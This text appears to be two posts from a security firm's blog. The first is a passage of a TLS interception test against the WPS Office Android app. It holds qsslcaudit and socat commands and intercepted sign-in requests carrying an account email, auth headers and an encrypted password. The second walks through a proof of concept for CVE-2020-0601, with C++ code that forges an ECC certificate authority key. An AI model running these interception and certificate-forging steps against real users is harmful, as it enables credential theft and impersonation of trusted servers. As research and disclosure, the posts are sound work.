running test #2: certificate trust test with self-signed certificate for user-supplied common name

listening on 0.0.0.0:443

connection from: 192.168.12.118:49821

SSL connection established

received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&hostVersion=1005011&pluginVersion=1&deviceId=aaa66681948902838109382338857706 HTTP/1.1

Connection: Keep-Alive

timeStamp: 1582799122

client: com.wps.ovs.docer

sign: be9c6715fef4320438462222ca1ab20f

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)

Host: plugin-server.wps.com

Accept-Encoding: gzip

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #3: certificate trust test with self-signed certificate for www.example.com

listening on 0.0.0.0:443

connection from: 192.168.12.118:35038

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:56326

SSL connection established

received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&hostVersion=1005011&pluginVersion=1&deviceId=aaa02935789133279734867793581560 HTTP/1.1

Connection: Keep-Alive

timeStamp: 1582799215

client: com.wps.ovs.docer

sign: 08db428254c47e2fd5603fb928fe2d23

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)

Host: plugin-server.wps.com

Accept-Encoding: gzip

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:57738

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           |

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           |   PASSED   |                             |

|  2 | self-signed certificate for target | FAILED !!! | mitm possible               |

|    |  domain trust                      |            |                             |

|  3 | self-signed certificate for invali |   PASSED   |                             |

|    | d domain trust                     |            |                             |

|  4 | custom certificate for target doma | FAILED !!! | mitm possible               |

|    | in trust                           |            |                             |

|  5 | custom certificate for invalid dom |   PASSED   |                             |

|    | ain trust                          |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: The TLS/SSL connection has been closed The remote host closed the connection

ssl conn established?: true

socket errors ids: 1 1

received data, bytes: 344

transmitted data, bytes: 5583

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

SNI: plugin-server.wps.com

ALPN: http/1.1

qsslcaudit version: 0.8.1

This result is interesting! Usually the applications we test either trust all certificates or properly verify them. In this case the TLS client trusts all the certificates which are issued to the expected common name.

account.wps.com

That is all interesting and already can be (and actually was) reported. But let's intercept more interesting data. During traffic analysis we spotted account.wps.com domain. This is the host that the application uses during the login process. In this case we have to login with WPS account (not Google, Facebook or Dropbox).

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn account.wps.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

...skipped for brevity...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma | FAILED !!! | -//-                        | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        | 

|    | ain trust                          |            |                             | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

Nice! But in this case we intercepted only the first connection which does not contain any sensitive information. Let's use qsslcaudit's functionality to forward intercepted data. Do note that it forwards the traffic **inside** TLS channel. Thus, we additionally have to forward clear-text HTTP towards HTTPS, we used socat for that:

socat TCP4-LISTEN:6666,fork,reuseaddr openssl:90.84.192.191:443,verify=0

We also have to select the particular test that allows man-in-the-middle:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests 1 --forward 127.0.0.1:6666 --user-cn account.wps.com

preparing selected tests...

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:49466

forwarding incoming data to the provided proxy

to get test results, relauch this app without 'forward' option

report:

no data received with socket in incorrect state

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | UNDEF ???  | report this case to develop | 

|    |                                    |            | ers                         | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: false

intercepted data: GET /api/server_ok HTTP/1.1

Content-MD5: ce1f01765892367a5ab8a74fb89b1773

Device-Name: samsung SM-A310F

host: account.wps.com

X-Platform-Language: en-GB

X-Platform: Android-6.0.1

X-App-Version: 12.3.5

X-Client-Ver: Android-WPS Office-12.3.5

X-App-Name: WPS Office

Device-Type: android

X-App-Channel: en00001

User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office

Accept-Encoding: gzip

Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==

Content-Type: application/json; charset=utf-8

Device-Id: 4f0591fa2d259471dd6d568e83d98d01

Date: Thu, 27 Feb 2020 10:53:01 GMT

X-Sdk-Ver: Android-2.2.17

Accept-Language: en-GB

Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:e25c94fd1c2e1d5c8b0658008cf7e210c1499215

Connection: Keep-Alive

POST /api/signin HTTP/1.1

Content-MD5: 721f38d1c450e936388850c136e8fe2c

Device-Name: samsung SM-A310F

host: account.wps.com

X-Platform-Language: en-GB

X-Platform: Android-6.0.1

X-App-Version: 12.3.5

X-Client-Ver: Android-WPS Office-12.3.5

X-App-Name: WPS Office

Device-Type: android

X-App-Channel: en00001

User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office

Accept-Encoding: gzip

Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==

Content-Type: application/json; charset=utf-8

Device-Id: 4f0591fa2d259471dd6d568e83d98d01

Date: Thu, 27 Feb 2020 10:53:34 GMT

X-Sdk-Ver: Android-2.2.17

Accept-Language: en-GB

Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:ad7340f9fa2aeb06fd32f89fcafea42e62d09eeb

Content-Length: 90

Connection: Keep-Alive

{"account":"gremwell@gremwell.com","password":"OV-UOIt-L5kzKC2-Pr4j7g==\n","encrypt":true}

received data, bytes: 0

transmitted data, bytes: 0

not a valid TLS/SSL client, 0 byte(s) of raw data received, i.e.:

qsslcaudit version: 0.8.1

We were able to intercept the credentials, shown in the last of two intercepted requests. Yes, they are "encrypted", but as we can intercept all communications, we have all information to decrypt them.

{"account":"gremwell@gremwell.com","password":"OV-UOIt-L5kzKC2-Pr4j7g==\n","encrypt":true}

Conclusion

In this document we described a typical mobile application test scenario we follow when assessing SSL/TLS communications security. We always verify client-side TLS implementation for all kinds of applications we test: mobile application, web services and other types of software. As we demonstrated in this example it has to be done in all cases: even widely used applications suffer from such vulnerabilities.

qsslcaudit tool helps pentesters in such assessments as it prepares all kind of certificates. As we demonstrated some clients may not trust self-signed certificates issued for invalid common names but trust others, which have the expected common name field. Manual tests with openssl s_server are doable, but prone to errors and do not have coloured output. :-)

Happy intercepting!

pavel Fri, 02/28/2020 - 16:24

CVE-2020-0601: theory and practice

pavel — Wed, 26 Feb 2020 13:25:27 +0000

CVE-2020-0601: theory and practice

Intro
Theory
Practice
Conclusion

Intro

On the 14th of January 2020, Microsoft fixed CVE-2020-0601, a high severity vulnerability affecting "the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates". Corresponding advisories were issued by NSA and CERT on the same day. On the next day it got a few nicknames such as Chain of Fools, or CurveBall. Some internal details were given by Thomas Ptacek and Kudelski Security. The latter one inspired us to look at this vulnerability from a more practical point of view.

Some proof-of-concepts were already available: by Saleem Rashid and Kudelski Security. However, we found that even having all aforementioned details and proof-of-concepts it is still not perfectly clear how to implement test for CVE-2020-0601 in general. Such tests were finally added to our client-side SSL/TLS validation tool qsslcaudit. You can discover more details on the subject in this post.

In this article we describe how to generate a certificate (using C++) that a vulnerable client will consider to be valid. We hope that it will help you understand the root cause of the vulnerability and the maths behind.

Theory

Kudelski Security blog post really well describes the mathematical background. Well, not really. :-) The author of this post is a good example of someone who did not - and in fact still does not - have any background in cryptography. As such, everything was clear during reading the article and totally black magic during attempts to implement the same in our own way. Let's try to give an explanation which is closely tied with the implementation.

Common words

So, what is this issue about? Windows implementation of certain certificates validation had a flaw (at least one which is now public). These *certain certificates* are the ones which are signed using elliptic-curve cryptography method. Here we have two terms which require clarification: *signing* and *elliptic curve cryptography*.

A TLS certificate by itself can contain a lot of fields. Some of them can contain arbitrary content, others are purely informational, and several are critical to TLS clients. A client expects to find such fields being equal to certain values (totally depends on client implementation!). For example, if a TLS client connects to some entity claiming the ownership of "example.com" the client expects to find a certificate with "common name" (CN) field set to "example.com".

Obviously, it makes no sense if anyone can write such certificate for "example.com". In order to provide authenticity of the "example.com" entity, the certificate has to be *signed* by some third-party trusted entity. To *sign* a certificate means to calculate a *signature* over the certificate's fields. This signature is included in the certificate too. Signature can be calculated using various cryptography algorithms. The particular algorithm is also included into the certificate. Currently, such algorithms rely on "public-key cryptography". Thus, the *public key* itself is also included into certificate. Having all this information (including trust to signing certificate authority) is enough for TLS client to confirm that the TLS server is indeed the owner of the specified resources.

In the description above we see another term: *public-key cryptography*. By design, if one entity has a private key it can generate the corresponding public key. The public key is not a secret and is distributed among involved parties. The public key can be used to encrypt arbitrary data but it can not decrypt it. Encrypted data (cipher text) can be decrypted only with the private key.

Such feature can be used to implement *signing* process. The owner of the private key produces a signature from its private key and a known data. The owner of the public key uses its public key and the provided signature to calculate shared known data. Then it compares calculation results with the provided data. If they are equal, the public key owner confirms authenticity of the entity which provided the signature.

The described approach relies on asymmetric (hardly reversible) mathematical operations. Among such methods are RSA and elliptic-curve cryptography.

And we know that something is wrong with how Windows validates signature of ECC certificates...

ECC

A very good explanation of elliptic-curve cryptography can be found in Practical Cryptography for Developers. Here we will just emphasize some key points related to the discussed proof-of-concept implementation.

The elliptic curve cryptography (ECC) uses elliptic curves over the finite field. Here is an example (from the article) showing what it could look like:

y^2 ≡ x^3 + 7 (mod p)

This field can be represented as a square matrix of size p x p where p is prime. The points on the curve are limited to integer coordinates within the field only. Thus, dealing with "curve" actually means working over limited set of "points", defined by their coordinates (x, y), where each coordinate belongs to the curve (field).

See the great illustration from the aforementioned article:

p is called field size and determines *key length*. Typically it is a prime number of 256, 384 or 512 bits.

As was stated above, the number of points in the field (curve) is limited (finite) and is called *order of the curve* and usually defined as n.

There are rules on how algebraic operations within the field are defined. The result of such operation (like point addition and multiplication) within the field always remains in the field.

Let's also do the following trick:

select a point on the curve (an object defined by two coordinates);
multiply it by an integer number;
the result will belong to the curve too, multiply it again by the same number;
repeat the process until reaching the initial point.

All points "visited" by such process belong to a list which is called a *subgroup*. There can be several subgroups. The number of them which includes all the curve points (n) is called *cofactor*, h.

As one can guess, it should be possible to carefully craft a curve, select a point on it and find an integer number such that the starting point being multiplied by this number several times will cover *all* the curve points. The cofactor h of such curve will be 1: the curve contains only one subgroup. Such starting point is called *generator*, G.

Standard predefined curves are defined to have cofactor 1 for a known G. Do note that nothing stops from selecting another generator point and multiply it by some integer number. However, this operation could cover less points from the curve (depends on curve properties).

Overall, the particular curve is defined by:

Its mathematical formula.
Field size p (large prime number).
Generator point G on this curve.

To use this curve we define a large integer number, called *private key* k. If we multiply generator point G by private key k we get *public key* P: P = k*G. Note that public key is also a point on the curve (it is defined by two coordinates).

Computationally, the public key is calculated very fast (P = k*G). However, the inverse procedure (k = P/G) is extremely slow. This asymmetry is used to implement private-public key cryptography algorithms briefly described above.

The issue

In order to validate authenticity of the remote party, a TLS client has to validate the signature of the corresponding TLS certificate. This signature is produced by the trusted certificate authority by producing a signature of the provided TLS server certificate using the certificate authority' secret private key. Thus, in theory, a valid signature can be produced only if we know the corresponding certificate authority's private key. However, what happens is that the TLS client (vulnerable Windows version in this case) can improperly validate such signature.

By definition of the signature process, a client uses the certificate authority's public key and signature to craft shared public data. If they are equal then the signer is considered as having a valid private key.

In RSA cryptosystem the only "variable" which we can change in the process is private key (large integer). All other operations is "basic" arithmetic. However, in case of ECC we also have the curve itself.

Remember from the previous section that public key (shared, known to every one) is a product of private key and generator: P = k*G ? Generator here defines the curve and is included in the certificate, but taking it into an account is up to client itself.

We can not find the original private key k, but we can select our own generator G' and some other private k' which will produce the desired public P: P = k' * G'. Here private key k' is an integer, generator G' is a point and public key P is a point too.

If our algorithm produces the same public key it will produce the same signature too. Thus, if TLS client uses our ECC algorithm (curve) instead of the one set in the CA's certificate it will consider our fake signature as valid.

Practice

In order to implement the discussed proof of concept we decided to use CryptoPP library for elliptic curve computations and OpenSSL API to deal with certificates. Unfortunately, CryptoPP by itself does not implement operations on TLS certificates.

Below we will take some excerpts from our PoC published on Github as cve-2020-0601_poc and explain them.

Objective

Our objective is to craft a certificate chain which will be considered as valid for a particular domain name by our victim.

For this chain we first need a CA certificate similar to some that are already known to the victim. Then we have to produce a private key which uses our custom elliptic curve. This private key has to produce the same public key than the valid CA certificate.

Then we have to create a TLS web server certificate issued for a particular common name, signed by some private key (generated using some known curve). If we sign this certificate using our evil certificate authority it will produce the same signature as would the valid one.

Input data

Only the following is required as input data:

Original CA certificate. It contains the certificate authority's public key and other fields which can be copied. However, the only essential field is "serial number".
Target common name. Usually, it is a host name our victim connects to.

The input data is parsed by our PoC in its main() function by extracting a public key and a serial number from the provided certificate:

    // get raw public key bytes from the CA certificate

    // our objective is to be able to craft a key that will produce them

    unsigned char caPubKey[8192];

    size_t caPubKeyLen;

    ret = getCertPublicKey(caCertPem.c_str(), caCertPem.size(), caPubKey, &caPubKeyLen);

    if (!ret) {

        return -1;

    }

    // get CA's serial number

    unsigned char caSerial[512];

    size_t caSerialLen;

    ret = getCertSerial(caCertPem.c_str(), caCertPem.size(), caSerial, sizeof(caSerial), &caSerialLen);

    if (!ret) {

        return -1;

    }

The routines getCertPublicKey() and getCertSerial() are implemented using OpenSSL API in openssl-helper.cpp file here and here. There is nothing special there except that we carefully convert formats to have public key and serial number as raw bytes sequences.

Okay, we have the input data, let's start crafting certificates. This is done in function genCve20200601Cert.

Evil private key generation

The craftEvilPrivKey() function implemented in cve-2020-0601_poc.cpp does this job in the following way.

At first, we create CryptoPP representation of CA's public key. This object defines elliptic curve and a point on it:

    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;

    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,

                                         caPubKeyRawLen, true).Ref());

This allows us to access original elliptic curve definition and parameters as caPubKey.GetGroupParameters(). We use exactly this curve to generate a new private key:

    CryptoPP::AutoSeededRandomPool prng;

    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;

    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

To convert this private key to the one which produces the desired public key we have to modify elliptic curve parameters. We have to produce an evil generator G' which satisfies the following equation: G' = Q / k. Or the same: G' = Q * 1/k. Q -- is CA's public key (remember that it is a point?). 1/k is the *inverse* value of the private key obtained earlier. Inversion is calculated as (k ^ -1) mod n, where n is the curve order. We need mod operation here as "curve", which is in fact a "finite field" with some order.

This is implemented as:

    // calculate an inverse value of the private key

    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);

    // produce our custom generator (base point) as a multiplication of the inverse value of our private key

    // and the public key of the provided CA certificate

    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();

    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

Now we have everything we need to craft our own curve and the corresponding private key structure:

Curve mathematical form (from CA's public key).
Curve order (from CA's public key).
Base generator: evilG.
Some large integer as a private key itself.

It is done here:

    // create an "evil" private key object using the base private's key exponent and curve but

    // with our "evil" generator (base point)

    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;

    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

That is it. It will work as expected by design.

What is left is to export private key structure as a raw bytes:

    // convert evil private key into PKCS8 format

    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);

    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());

    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

Now we can proceed with certificates generation.

Crafting certificates

At first we have to deal with keys format issues. CryptoPP returns elliptic-curve private key in PKCS8 format (see https://www.cryptopp.com/wiki/Keys_and_Formats). In theory it should be understood by OpenSSL and other libraries but in practice there is one caveat. This key we crafted defines a custom curve which is not in the standard list of supported curves. When a library tries to parse such key it fails to create internal structures describing the curve and produces an error.

We found a set of OpenSSL API calls which allowed us to have a valid key in OpenSSL internal format. We also noticed that some OpenSSL versions have implementation errors which result in perfectly fine operations (no errors returned) but invalid TLS certificates as a result.

Overall, we convert CrytoPP's private key into PEM format in the following way:

    pkey = d2i_PrivateKey_bio(bioIn, NULL);

...

    PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);

Nothing special, but it consumed quite some time to find the proper calls.

Now we are ready to create a custom CA certificate with the same serial number as the provided one. This is implemented by genSignedCaCertWithSerial() function. To sign the certificate we use previously crafted malicious private key. When forming the CA certificate it was essential to be careful about the set of X509 fields to fill, serial number format and the set of X509v3 extensions.

The last step is to generate a certificate for the desired common name. It was a straightforward procedure without any quirks or workarounds. It is implemented by genSignedCertForCN() function.

After all we obtain the following certificates which can be used to validate the issue:

Evil CA certificate.
Target host certificate.
Target host private key.

Exploitation

The proof of concept mentioned here, cve-2020-0601_poc, accepts a single parameter as input: a path to CA certificate. This certificate has to be signed using ECC algorithm.

The PoC saves several certificates as files in its working directory:

test-cve_evil-ca.crt. Evil CA certificate. PEM format.
test-cve_evil-privkey.key. Evil CA private key. PEM format.
test-cve_evil-privkey-pk8.key. Evil CA private key. PKCS8 DER format.
test-cve_host-cert.crt. Target host certificate. PEM format.
test-cve_host-privkey.key. Target host private key. PEM format.

The tool is hardcoded to produce certificates for "example.com" common name.

OpenSSL's s_server can be fed with the produced certificates as follows:

sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

Redirect the victim (vulnerable OS) to the desired socket and if all goes well, the TLS client (browser) will not emit certificate validation error.

The result should look like this one:

Please note that it is required to have the legitimate CA certificate using ECC in the operating system cache. This can be achieved by redirecting a victim to a legitimate TLS server which uses a certificate signed by the certificatee authority of our choice.

qsslcaudit

A test for this vulnerability was added to our tool for assessing SSL/TLS clients implementation, qsslcaudit. See the corresponding announcement and section in the tool's README file.

CVE-2020-0601 test implemented in qsslcaudit allows a security researcher to have everything in one place: malicious certificate generation for arbitrary domains, TLS server and clear description of the intercepted connection.

Conclusion

This particular vulnerability grabbed our attention because, being an issue in client-side TLS implementation, it should fit perfectly as one of the qsslcaudit's tests. We started to work on it in early February 2020 thinking "ah, okay, there are articles published, proof of concepts written, we have a tool which does the heavy lifting, so just create a slightly modified private key and you will be good to go". Nope. Not that easy.

Trying to fit a proof of concept into a product is not just copy-pasting from Github repository. It requires having a piece of code implemented without any hardcoded parameters and not relying on any specifics. It should handle arbitrary input parameters to produce the desired output. Finally, it has to be compliant with the chosen programming language and libraries.

It turned out that working with elliptic curve parameters at a low level is not well supported by TLS libraries we used (GNUTLS and OpenSSL). Moreover, even if you just provide a ready-made private key to these libraries they refused to work due to non-standard curves. We had to find an alternative way to work with ECC. This was CryptoPP library.

Adding another library to your project (especially if it is written in C/C++) can be a huge pain in itself. Luckily in this case it was not that problematic, but another problem arose: it was not straightforward to convert ideas from blog posts or practical implementations into the particular library calls. We had to truly understand the issue, the theory behind it.

Fighting with OpenSSL to generate proper certificates took another set of working days. It was really frustrating to spend time on that as it is not related to the issue itself and was about digging through obscure code and bad documentation. Not mentioning bugs in outdated versions we were experimenting with.

As a result, it took several working days to get a fully working proof of concept and only one hour to integrate it into qsslcaudit.

The CVE-2020-0601 vulnerability is also interesting from a completely different perspective: how was it discovered ? Once you understand the issue and its root cause you immediately spot this potentially weak point: curve parameters which can be customised and controlled by another party of TLS handshake. Was it discovered like this ? By reading standards, creating hypothesis, writing tools, testing various implementations ? Or was it a careful study of disassembled crypto32.dll ? Even if we do not know the answer we can still learn from it.

Happy studying. :-)

pavel Wed, 02/26/2020 - 14:25